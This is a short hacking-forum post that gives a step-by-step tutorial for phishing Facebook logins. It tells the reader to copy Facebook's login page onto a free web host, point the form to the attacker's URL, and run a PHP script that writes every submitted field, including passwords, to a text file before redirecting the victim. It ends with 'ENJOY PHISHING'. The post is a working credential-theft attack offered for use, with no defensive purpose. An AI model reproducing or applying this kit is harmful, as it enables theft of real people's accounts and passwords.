I originally made this for 3EH but since there not much here on phishing i thought id put it here as well.
1) Goto http://www.facebook.com, right click and select view source. Copy all the text to a text file.
2) Register at a online free web hosting site. I use http://www.ripway.com but any will do.
3) Go to your new account and select create new file.
4) Copy your text from the facebook site and save it as login.php
5) Create a new file and paste:
header ('Location: http://YOUR URL/login.php ');
$handle = fopen("passwords.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
6) Go back to your login.php and click on the first line and bring up your search, type in: "action=" (without quotes). after that type your url to the login.php.
your line should look something like: action="http://YOUR URL?login_attempt=1" (with the quotes).
7) Goto your site and test it out. Next time you log back into your account on your web hosting site, you will hav a new file called "passwords.txt" and in there will be your passwords that you hav phished.
ENJOY PHISHING
RefLink: http://www.team-axvis.net/forum/showthread.php?tid=13
